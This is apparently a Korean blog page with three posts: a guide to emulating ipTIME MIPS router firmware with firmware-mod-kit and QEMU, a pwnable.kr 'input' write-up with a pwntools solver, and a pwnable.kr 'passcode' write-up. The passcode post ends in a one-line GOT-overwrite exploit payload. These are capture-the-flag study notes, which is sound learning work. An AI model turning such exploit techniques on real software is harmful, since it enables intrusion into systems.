이번 포스팅에서는 firmware분석 환경 구축에 대하여 다루어보도록 하겠습니다!

이 포스팅의 예제로는 iptime 8.76버전의 mips아키텍쳐 firmware를 가지고 진행하였으며, 운영체제는 칼리리눅스에서 진행하였습니다.


firmware를 분석 환경을 구축하기 위해서는 크게 firmware mod kit, qemu 이 두 가지 툴이 필요합니다.


1. firmware mod kit(fmk)

https://bitsum.com/firmware_mod_kit.htm


This kit gives the user the ability to make changes to a firmware image without recompiling the firmware sources. It works by extracting the firmware into its component parts, then extracting the file system image (assuming its in one the supported formats). The user can then make modifications to the extracted file system, and rebuild the firmware image.


번역 : 이 키트는 사용자가 펌웨어 소스를 다시 컴파일하지 않고 펌웨어 이미지를 변경할 수있는 기능을 제공합니다. 펌웨어를 구성 요소로 추출한 다음 파일 시스템 이미지를 추출합니다 (지원되는 형식으로 가정). 그런 다음 추출 된 파일 시스템을 수정하고 펌웨어 이미지를 다시 작성할 수 있습니다.


위 글은 fmk의 공식 페이지의 description의 일부분을 가져온 것 입니다. 설명되어있는대로 fmk는 펌웨어에서 시스템 이미지를 추출할 수 있습니다.


.bin 형태의 펌웨어 바이너리 파일을 fmk를 통해 시스템 이미지와 파일들을 추출해올 수 있습니다.


1.1 필요 패키지 설치

fmk설치에 앞서 fmk를 사용하기 위해 선행으로 설치해야하는 패키지들이 있습니다.


1
apt-get install zlib1g-dev build-essential liblzma-dev python-magic



zlib1g-dev와 liblzma-dev는 압축관련 패키지이고, python-magic은 파일포맷을 확인하기 위한 패키지, 패키지 작성을 위한 것이라고 하네요!


1.2 fmk clone

이 패키지들을 설치한 후 git에서 fmk를 clone해옵니다.

1
git clone https://github.com/rampageX/firmware-mod-kit.git



1.1에서 선행 패키지들을 이상없이 설치 하였다면 git에서 fmk를 받아 온 후 따로 make / make install 같은 과정 필요 없이 
바로 사용할 수 있는 상태입니다.


여러 쉘이 있으나, firmware에서 이미지를 추출하기 위해서는 extract-firmware.sh를 사용합니다.


1.3 extract-firmware.sh

extract하는 방법은 아래와 같습니다.

1
extract-firmware.sh target_firmware.bin



실행 후에는 실행한 디렉터리에 extract의 결과물인 fmk라는 디렉터리가 생성됩니다.


fmk내부에는 세 개의 디렉터리가 존재하는데

image_parts는 extract한 시스템 이미지들이 존재하고

logs에는 로그들이,

rootfs에는 시스템 파일들이 존재합니다.


얘네들을 가상머신으로 전송해서 구동시켜야합니다.


2. qemu

QEMU는 가상화 소프트웨어 가운데 하나다. Fabrice Bellard가 만들었으며 x86 이외의 기종을 위해 만들어진 소프트웨어 스택 전체를 가상머신 위에서 실행할 수 있다는 특징이 있다. 동적 변환기(Portable dynamic translation)를 사용한다.


[출처] 위키백과 : https://ko.wikipedia.org/wiki/QEMU


firmware를 직접 구동해보기 위해서 필요한 에뮬레이터(?)라고 생각하시면 될 것 같습니다.

IOT의 firmware가 실행 되는 아키텍쳐는 대부분 arm / mips 이기 때문에 추출만 한다고해서 바이너리들을 분석 pc에서 실행 해 볼 수 없습니다.

따라서 가상의 arm / mips 머신을 생성하여 firmware를 구동 시켜야합니다. 이때 가상의 arm / mips 머신 생성 및 구동을 도와주는 것이 QEMU입니다.


2.1 qemu 패키지 설치



apt-get install qemu



apt-get으로 qemu 패키지를 설치합니다.


2.2 해당 아키텍쳐 필요 파일 다운로드

https://people.debian.org/~aurel32/qemu/ 로 최초 접속하면 아래와 같은 사이트를 만날 수 있습니다.

사이트에 리스팅된 목록을 보시면 짐작 가능하시겠지만 arm, mips등 아키텍쳐 별로 나열되어있습니다. 저는 mips용 firmware를 실행하기 위해

mips를 클릭하여 들어갔습니다. 




여러 개의 파일이 있는데, 각 파일이 어떤 용도인지는 잘모르겠습니다ㅠ 아시는 분이 있으면 좀 알려주세요 ㅠㅠ

다만, 여러 서치 결과 qcow2확장자 파일 중에는 wheezy를 받은 경우가 대부분이라, 저도 wheezy를 받아서 사용하였습니다.


그래서 결과적으로 어떤 파일을 다운 받아야하느냐면!

아래로 조금 내리면 가상머신을 구동하기위한 샘플 명령이 있습니다. 거기에 맞춰 파일을 다운 받으시면 되는데요,


빨간 네모로 강조가 된 쟤들이에요!


vmlinux-3.2.0-4-4kc-malta와 debian_wheezy_mips_standard.qcow2 이 파일입니다.


구축하기위해 검색도 많이하고 여러 블로그를 참조했습니다만, 제대로 실행되지 않아서 여러번 실패를 겪었습니다. 제 경험으로는

다운로드페이지에 게시된 대로 다운받아 실행을 하는게 가장 정확할 것같습니다.

혹시 제 캡쳐본과 링크를 열었을 때 업데이트 등의 이유로 게시된 버전이 다르다면 홈페이지 예제를 따라가는 것을 추천드립니다.



다운이 다 받아지셨다면, 이제 머신을 구동시켜 볼 수 있습니다.

1
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"



구동 방법은 파일다운 받았던 곳에 있던 샘플을 쉘에 날려주시면 됩니다.



2.3 네트워크 브릿지 설정

위 과정을 거치면 구동도 되고, 외부망과 연결도 됩니다만... 다만 Host -> Guest간 내부 통신이 되지 않습니다.

ftp, ssh등의 서비스를 이용하기엔 여러가지로 불편합죠,, 이러한 이유로 네트워크 브릿지 설정을 해주는 것이 편합니다.


역시 네트워크 브릿지 설정을 하기 위해 설치가 필요한 패키지가 있습니다.


1
apt-get install bridge-utils



tunctl이라는 패키지도 필요하다고는 하는데, apt-get install tunctl로는 설치가 안되는거 같구... 

[추가] tnctl설치 방법입니다.(2017-09-18)

1
apt-get install uml-utilities



저같은 경우에는 제 칼리 리눅스에 default로 설치 되어있었습니다. 

이번에 환경을 구축하면서 우분투와 데비안이 생각보다 많이 다른 걸 몸소 느낄 수 있었습니다ㅠㅠ

패키지 설치가 끝나면, 아래와 같이 가상 인터페이스를 생성하고 브릿지를 연결해줍니다.


1) 브릿지 디바이스 생성 

brctl addbr virbr0


2) 가상 tap0 인터페이스 생성

tunctl -t tap0 -u 유저명


3) eth0와 tap0 브릿지 추가, 인터페이스 up

brctl addif virbr0 eth0

brctl addif virbr0 tap0


ifconfig eth0 up
ifconfig tap0 up
ifconfig virbr0 up

brctl stp virbr0 on

4) 브릿지 작업 성공 확인
brctl show



5) virbr0인터페이스에 ip할당, eth0인터페이스의 ip주소 삭제

ifconfig virbr0 172.16.1.2/16

ifconfig eth0 0.0.0.0 promisc


ip addr flush dev eth0

route add default gw 172.16.255.254


위 과정을 마치면 설정은 끝났습니다!

이제 실행 할 때 사용했던 예제에 몇가지를 추가 해주면 됩니다.


1
qemu-system-mips -M malta -m 128M -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=net0,ifname=tap0,script=no,downscript=no -device e1000,netdev=net0,mac=00:aa:00:60:00:01
cs

이대로 돌려주시면되어욥




왼쪽 QEMU가 가상머신창, 오른쪽이 Host의 쉘입니다. 각자 IP가 할당되었어요.

qemu가 속도가 느리기 때문에 저는 Host에 vsftp를 설치해서 가상머신에서 파일을 다운받았습니다.


그리고 다운받은 fmk디렉터리의 rootfs디렉터리로 들어가서 chroot명령어를 실행해준 후 /sbin/httpd를 실행해서 http데몬을 실행합니다.

1
2
chroot ./ ./bin/sh
/sbin/httpd





위의 내용을 기반으로 만든 브릿지 설정하는 쉘코드와 가상머신 구동 쉘코드를 첨부합니다! 필요하신분은 받아서 써보세욥

runMips.sh

setup_bridge_sh


환경은 구축되었으니... 이제 열심히 분석해보아야겠네요, 분석은 추후에 포스팅해보도록 하겠습니다.

'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13

1. 문제확인



Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)


엄마~ 프로그램에 어떻게 내 입력이 통과 할 수 있어여? 하고 물어보고있어여

엄마는 아니지만 문제를 한번 봅시댱



2. 문제 코드 분석


2-1) main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");
 
        // argv
        if(argc != 100return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");
 
        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
        printf("Stage 2 clear!\n");
 
        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");
 
        // file
        FILE* fp = fopen("\x0a""r");
        if(!fp) return 0;
        if( fread(buf, 41, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");
 
        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 40!= 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
        printf("Stage 5 clear!\n");
 
        // here's your flag
        system("/bin/cat flag");
        return 0;
}



이번 문제는 메인함수밖에 없는데 지금까지 본 것들이랑 비교해서 더럽게 길었어여 ㅠㅠ

구성을 보니까 이번 문제를 풀려면 다섯가지 스테이지를 풀어야하는거 같네여


각 스테이지 별로 물어보는 항목을 정리하면!


1번 Stage는 프로그램 실행할 때 인자가 어떻게 들어가는지를 알고있냐? 

2번 Stage는 pwnable.kr fd문제처럼 file descriptor번호 알아?

3번 Stage는 프로그램 실행할 때 환경변수 줄 수 있냐?

4번 Stage는 프로그래밍으로 파일 핸들링할 수 있음?

5번 Stage는 소켓 통신 할 줄 암?


소스가 길어서 한번에 보기 힘드니까 스테이지 별로 짤라서 볼께여 ㄱㄱ



2-1) Stage 1

1
2
3
4
5
6
7
8
9
int main(int argc, char* argv[], char* envp[]){
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");
 
    return 0;
}



argc에는 ./input 과 같은 실행명령어를 포함해서 인자의 갯수가 들어있어여

argv는 char *형 배열인데, 인자가 각각 들어있고여, 가장 첫 번째에는 실행명령어가 들어있어여

예를 들어서 ./input aaa bbb 라고 실행을 하면


argc == 3

argv[0] == "./input"

argv[1] == "aaa"

argv[2] == "bbb" 가 되겠져?!


envp에는 프로그램을 실행할 때 로드하는 환경변수들이 들어있는데 얘는 카운트를 가지고있지를 않아여ㅠ

대신 배열요소의 끝검사를 NULL로하면 하나씩 다 뿌려볼 수 있답니당


여하튼! 

스테이지 1번을 풀려면 argc의 갯수를 100개로 맞추면서 argv['A'] 그러니까 argv[65]번째 인자엔 \x00이 있어야하고

argv[66]에는 \x20\x0a\x0d가 있으면 클리어 할 수 있을꺼에여 어렵지 않져?



2-1) Stage 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(int argc, char* argv[], char* envp[]){
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
        
    read(2, buf, 4);    
    if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
 
    printf("Stage 2 clear!\n");
 
    return 0;
}



스테이지 2를 풀려면 read함수랑 파일디스크립터 번호를 알아야되여 ㅠㅠ


read함수 원형은


1
ssize_t read(int fd, void *buf, size_t nbytes);                            



요렇게 생긴놈입니당! 리턴타입 ssize_t는 size_t는 우선은 그냥 int형으로 생각하고 푸셔도

문제푸는데에는 지장이 없어영 하지만! 자세히 알고싶으시다면 아래 링크를 한번 살펴보세욥


당연하지만 간과하는 size_t ssize_t

- http://lacti.me/2011/01/08/different-between-size-t-ssize-t/ 


read는 파일디스크립터 번호를 받아서 지정한 바이트만큼 버퍼에 읽어오는 함수에여

여기서 예약되어있는 파일디스크립터 넘버를 몇 개 살펴보쟈규여


0 : stdin

1 : stdout

2 : stderr


얘네들을 이용하면 콘솔 I/O랑 에러났을 때 발생 한 값들을 read 할 수 있을거에여

문제에서는 0번이랑 2번 썼으니까 입력 / 에러발생에서 4바이트씩 읽어오겠져!



2-4) Stage 3

1
2
3
4
5
6
7
8
int main(int argc, char* argv[], char* envp[]){
        
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    return 0;
}



스테이지3은 환경변수에 \xde\xad\xbe\xef항목에 \xca\xfe\xba\xbe값만 셋팅해주면 문제가 없어보여여 


2-5) Stage 4

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(int argc, char* argv[], char* envp[]){
                
    // file
    FILE* fp = fopen("\x0a""r");    
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
        
    printf("Stage 4 clear!\n");
 
    return 0;
}



스테이지 4는 파일을 열어서 맨앞에서 네바이트를 읽고 \x00\x00\x00\x00값인지 체크하고있는데

파일이름이 \x0a에여 ㅠㅠ 콘솔에서 만들순 엄꾸.. fopen같은 함수를 써서 만들어줘야겠어여


2-6) Stage 5

드뎌 마지막 스테이지 5를 봅시당


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main(int argc, char* argv[], char* envp[]){
                        
    // network    
    int sd, cd;
  
    struct sockaddr_in saddr, caddr;        
    sd = socket(AF_INET, SOCK_STREAM, 0);        
    if(sd == -1){                
        printf("socket error, tell admin\n");                
        return 0;        
    }
    
    saddr.sin_family = AF_INET;        
    saddr.sin_addr.s_addr = INADDR_ANY;        
    saddr.sin_port = htons( atoi(argv['C']) );
        
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){                
        printf("bind error, use another port\n");               
        return 1;        
    }
        
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);        
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        
    if(cd < 0){                
        printf("accept error, tell admin\n");               
        return 0;        
    }
        
    if( recv(cd, buf, 40!= 4 ) return 0;        
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;        
    printf("Stage 5 clear!\n");
 
    return 0;
}




어휴; 뭐 땀시 이렇게 소스가 길었나 했더니 스테이지 5때문이네여;;

하나하나 다 뜯어보고 설명하면 좋지만 양이 넘나 많네여 ㅠ 잘 모르시거나 생소하신 분들은 링크 걸어드릴게여


[소켓]3. 함수와 구조체 설명!

http://rotapple.tistory.com/8 


흐름만 간략히 파악하고 가면 실행할 때 던져주는 인자 중에 argv['C'] 요놈 그러니까 argv[67] 에 있는 값을 포트로해서

소켓을 열꺼에여 그리구 그 소켓에서 네 바이트를 받아서 \xde\xad\xbe\xef값이 들어오면 클리어!


3. 익스플로잇 코드


이번 문제를 풀려면 간단한 입력만으로는 안끝나여 ㅠㅠ 

파일을 핸들링하거나 소켓으로 데이터를 쏘거나 해야해서 짧게나마 코드를 작성해서 풀어야할꺼에여

이 문제 푸신 분들이 거의 c로 작성해서 푸셨더라고여? 그래서 저는 파이썬으로 도전해보려고 쌩파이썬으로 도전했는데

생각보다 너무 안풀리고 의도랑 다르게 돌아가는 바람에 ㅠ

파이썬으로 짠 코드를 컨닝하려고 하는 도중!! pwntools라는 걸 알게됐어여


기능이 무궁무진한거 같긴한데 이번 포스팅에서 한번에 다룰순 없을거 같고 요번에 쓴거 위주로만 썰풀어볼게여

일단 결과코드부터 ㄱㄱ


아 코드는 이 분 블로그를 참조했어여!  

http://gmltnscv.tistory.com/27


그리구 문제풀려고 서버에 접속하면 홈디렉터리에서는 코드를 작성할 수가 없어여 ㅠㅠ

/tmp 아래에 자기 폴더를 하나 뙇 만들어주고 작업을 하시면 됩니당


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
with open('./stderr_file''a') as f:
    f.write('\x00\x0a\x02\xff')
 
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
with open('./\x0a''a') as f:
    f.write('\x00\x00\x00\x00')
 
argvs[ord('C')] = '99999'
 
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr_file'), env=envVal)
target.sendline('\x00\x0a\x00\xff')
 
conn = remote('localhost'99999)
conn.send('\xde\xad\xbe\xef')
target.interactive()                                                 



첫 번째 줄 from pwn import * 에서 pwntools를 임포트하고이써여 물론! 임포트하려면 설치를 해야겠져?


설치 방법은

apt-get install python2.7 python2.7-dev python-pip

pip install pwntools

apt-get install libcapstone-dev


뙇 치면 설치가 뙇!! 후하


별 이상 없이 설치가 되셨다면 뒷부분 이어서 ㄱㄱ할게여


3 ~ 5라인은 스테이지 1번을 위한 부분이에여

3라인에서 argvs를 선언해서 0부터 99까지 문자열로 만들었어여

4, 5라인에서는 ord()함수를 통해서 문자를 정수형으로 바꿔준담에 스테이지1에서 원하는 값들로 값들을 바꿔줬지영


7~8라인은 스테이지 2를 풀기위한 부분이에여 stderr_file이라는 파일을 만들어서 문제에서 요하는(stderr일 때)값을 썼어여

with 문을 써서 열면 따로 닫아줄 필요가 없다는 사실!

18라인에서 stdin을 해주려고 sendline을 써서 값을 넣어줬어여



10라인에 envVal은 환경 변수를 선언했어여 이따가 실행할 때 넘겨주면 뙇! 하고 스테이지 3을 풀 수 있어여 


12 ~ 13라인은 스테이지 4에서 파일 열어서 값읽어보는거 있었짜나여? 그거 때매 같은이름으로 파일 열어서 값써준검미다.


15 라인에서 어디 포트로 쏠껀지 인자에 포트번호 써준 담에

20라인에서 연결하고!

21라인에서 값을 뙇 하고 쏴줌으로써 스테이지 5도 해결이되지욥


17라인이 이 모든 셋팅을 마치고 실행하는 부분이에여 executable에서 실행할 바이너리 주소, argv에 전달할 인자,

stderr에서 stderr일 때 할 행위가 들어가있고, 환경변수까지 전달을 해줬어여



다 작성을 마치고 기쁜마음으로 뙇 돌리면!!!!



안나와여 플래그가 ㅠㅠㅠㅠㅠ


아 읽어줄 플래그가 엄꾸나! 근데.... 퍼미션때매 카피도안되고ㅠㅠ..


그래서 심볼릭 링크를 걸어줍니다 헤헷


그리고 다시 한번 돌리면!!


뙇 하고 성공했어여ㅋㅋ


이번 문제는 요구하는 것들이 어렵지는 않았는데 익스플로잇코드를 처음 짜본..터라 쉽지는 않았던거 같아여 ㅠㅠ

그래도 덕분에 pwntools라는 툴도 알게됐으니~~ 다음부턴 아주 요긴하게 써먹어야겠쯥니당 ! 이상!


'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr passcode  (5) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12

1. 문제확인





Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


문제를 대충 해석해보면, 

엄마가 패스워드 넣는 로그인시스템을 만들어보라고 말했어~

내 초기 C코드는 에러없이 컴파일이 되었지!

뭐 워닝이 쫌있긴했는데 누가신경쓰겠냐? 라고 하고 있습니다.


우선 주어진 접속정보로 서버에 접속해서 passcode.c를 봐야겠네여



2. 문제 코드 분석


아래는 문제로 주어진 passcode.c에여


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}



2-1) main()

프로그램 실행에 필요한 인자는 특별히 없어보이네여?

가장 먼저, Toddler`s Secure Login System 1.0 beta. 라는 문자열을 출력한 후

welcome, login을 순차적으로 호출 하고

Now I can safely trust you that you have credential :) 출력해주면 프로그램이 끝나고있어여


2-2) welcome()

welcome함수에서는 이름을 입력받기위해 char 배열 100바이트짜리가 하나 선언이 되어 있어여

enter you name : 에 맞추어 이름을 입력하면,

Welcome [입력한 이름]! 을 출력해줍니다. 여기서 %100s로 100바이트만 받는 다는 점만 인지해두세여


2-3) login()

login 함수에서는 패스워드를 입력 받고 인증에 성공하면 플래그를 읽어주는 의도로 만들고 싶었던 것 같은 소스를 볼 수 있어여

꼼꼼하신 분이라면 바로 이상한 점을 아실 수 있겠져? scanf에서 입력을 받는 변수에 &가 빠져있어여 ㅠㅠ

그리고 리눅스에서는 제대로 동작 하지 않는 것으로 알고 있는뎅, passcode1을 입력 받은 다음 입력버퍼를 날려주는 fflush()를 호출하고 있어여


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d"&passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d"&passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
    }
 
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}



원래 의도를 예상해서 코드를 수정해보면 이처럼 바꿔볼 수 있겠져?
scanf에서 변수를 저장할 때는 이렇게 해당 변수의 주소값을 인자로 넣어줘야돼여 아마 문제에서 언급했던 워닝은 여기서 났겠네여
게다가 패스워드를 입력받아 저장 하려고했던 passcode1과 passcode2는 초기화 과정을 거치고 있지 않기 때문에 garbage값이 들어 있을꺼에여
결과적으론 이 가비지 값을 주소로 읽어서 거기다가 입력값을 쓰게 될 꺼에여


3. 디버깅


3-1) main()


2-1) 에서 살펴봤듯이 별내용은 없어 보이네여 printf를 실행하기 위한 put을 각각 호출 하고, welcome과 login을 순차적으로 호출하네여?


움..참고로 이번에 알게된 건데 문제서버에서 peda를 사용하고 싶으면 gdb를 실행한 후 source /usr/share/peda/peda.py를 쳐주면 peda가 실행되여ㅠ 넘나 편한 것..


3-2) welcome()

여기서부턴 자세히 봐야 할 부분이 있어여

맨처음 함수 인트로에 해당하는 스택프레임 부분이 +0과 +1라인에서 이루어지고 있어여

바로 다음 +3라인에서는 소스에서 살펴봤던 login함수 내 지역변수인 name[100]을 위한 공간확보를 하고 있네여

0x88만큼 스택을 확보했으니까 dummy까지 합쳐서 136바이트를 확보한 것을 알 수 있져?



실행을 해서 확인을 해보도록 하져



welcome+9에 브레이크 포인트를 건 멈춘 모습이에여

ebp는 0xffb771e8, esp는 0xffb77160으로 (0xffb771e8 - 0xffb77160)0x88만큼 스택 공간이 확보되어있는 것을 확인해 볼 수 있어여

여기까지의 스택 상황을 한번 그려본다면 아래처럼 되겠져?


welcome+48에서 scanf을 호출해서 입력을 받고 welcome+68에서 print를 해주는 부분을 분석해서 정확한 더미부분과 name변수의 공간을

확인해 봅시당!

welcome+68에서 브레이크를 걸고 진행을 해보면,

0xffde9198에 입력한 값(저는 JSBach를 입력했어여)이 위치하고 있는 것을 알 수 있어여, 이 정보를 가지고 스택을 다시 그려보져


확보 된 0x88(136)사이즈가 이처럼 사용되고 있다는 것 까지 알아냈습니다. welcome에서 볼 수 있는 사항은 여기 까지구 login을 보면서

이 내용을 어떻게 써먹을 지! 확인을 해보면 되겠습니당



3-3) login()

login함수도 역시 스택프레임을 구성하는 것으로 시작하고있어여 그리고 passcode1과 passcode2를 위한 공간을 확보하고있져?

0x28만큼 확보하고 있네여 login+6에 브레이크를 잡고 자세히 한번 살펴봅시당



ebp가 0xffde9208이고, esp가 0xffde91e0기때문에 0x28(40바이트)만큼 공간이 확보된 것을 알 수 있습니다.

위와 같이 스택을 똑같이 그려보면?

요렇게 그려 볼 수 있겠져? 근데 잘보면 ebp가 welcome함수랑 똑같아여

welcome함수 콜 후에 바로 login함수를 콜 했기 때문에, 당연한 것일 수 있지만 이게 실마리입니다.


우선 0x28공간이 어떻게 구분되어지는지 확인을 해봐야겠져!

passcode1을 입력을 받는 login+34부분에 브레이크 포인트를 걸고 한번 봅시당


scanf에서 사용하는 첫 번째 인자인 %d가 스택 최상단에 있고, 바로 아래 passcode1가 있겠네여?

이 passcod1의 값을 어떻게 가져왔는지 scanf 호출 전(login+24, +27)을 보면 알 수 있어여


mov edx, DWORD PTR[ebp-0x10]            // edx에 ebp-0x10의 주소에 있는 값을 대입

mov DWORD PTR [esp+0x4], edx            // esp+0x4의 주소에 edx값을 대입


즉, ebp-0x10 -> 0xffde9208 - 0x10 = 0xffde91f8에 있는 값을 가져다가 쓴다는 게 되는거져

아까 welcome에서 봤던 스택 모습을 한번 더 볼까여?


ebp는 welcome과 login이 동일하게 0xffde9208을 쓰고있습니다.

그래서 ebp-0x10 의 위치라면! ebp로부터 16바이트가 떨어진 곳의 값이 되겠네여, 그럼...

name입력에서 끝 4바이트가 된다는 것을 알 수 있습니다.


요기까지 상황을 정리해보겠습니당!


1. scanf에는 메모리에 쓰고싶은 곳의 포인터를 넘겨준다.

2. 그런데 개발자가 실수로 & 기호를 빼먹어서 변수에 있는 값을 포인터로 사용하게되었다.

3. 그 변수에 있는 값은 앞의 함수에서 입력한 값의 영향을 받는다.


이름을 입력할 때 마지막 네 바이트에 입력하고 싶은 메모리 번지를 넣고 그 다음 scanf에서 값을 쓰면

원하는 메모리번지에 값을 넣을 수 있다! 라는 결론 까지 올 수 있습니다.


한번 확인한 사항이 맞는지 테스트 값을 넣어서 확인을 해보겠습니다.


입력값은 A가 96개 B 4개를 넣었습니다. 우리가 확인 한 대로라면 scanf의 두 번째인자에는 0x42424242가 들어가 있어야되여...



확인한 대로 잘들어가있네여 ㅠㅠ 


그런데 이걸 가지고 어떻게 익스플로잇 할 수 있을까여??

소스 상에서는 passcode1과 passcode2의 값이 모두 일치해야 조건을 만족하고 플래그를 읽어주는데...

결과부터 말씀드리면 passcod1을 입력받은 후 fflush함수를 호출 할 때 GOT의 주소를 바꿔줌으로써 플래그를 읽어볼 수 있습니다.


PLT / GOT가 무엇인지 자세히 알고 싶으신 분은 아래 링크를 참조 하세여!


PLT와 GOT 자세히 알기1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT 자세히 알기2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


[참조] https://bpsecblog.wordpress.com/


문제 풀이에 필요한 정도로만 간략히 설명을 드리자면

동적 라이브러리를 사용할 때 프로그램 내에 임포트한 라이브러리의 함수가 없기 때문에 (여기서는 fflush함수가 되겠습니다.)

해당 함수의 주소를 얻어 올 수 있는 테이블들입니다.


라이브러리 함수를 호출하게 되면 먼저 plt로 간 후, got로 점프를 뛰고 got에서 라이브러리의 함수 주소를 얻어오는 구조가 되겠습니다.


우리는 이 부분에서 fflush함수 호출 할 때, plt에서 got로 점프를 뛰는 부분의 주소를 login+127의 주소(system("/bin/cat flag"))로 바꾸어

익스플로잇을 시도해볼 수 있습니다.


그럼 수정해야 될 주소를 확인해 봅시당!

0x08048593 <+47>: call   0x8048430 <fflush@plt>


여기가 최초 plt테이블로 뛰는 부분이에여, 저 안에 가면 got로 점프 뛰는부분이 있을거에여


첫 줄에 바로 점프뛰는 부분을 보면 0x804a004로 점프를 뛰고 그 주소를 보니깐! got로 뛰어가고있는 모습을 볼 수 있네욥

여기서 우리가 바꿀 주소가! 바로 0x804a004에요, 여기다가 login+127의 주소인 0x080485e3을 넣어 줄꺼랍니다.



4. 페이로드 작성

작성해야될 페이로드를 프로토 타입으로 한번 보면 요렇게 될꺼에여

NOP 96개 + got로 뛰는 주소 + login+127의 주소


결과부터 보면 


(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode 이렇게 되겠습니다.


이제 찬찬히 또 뜯어봅시당


프로그램에 입력을 넣어 주는 부분은 파이썬을 사용했어여

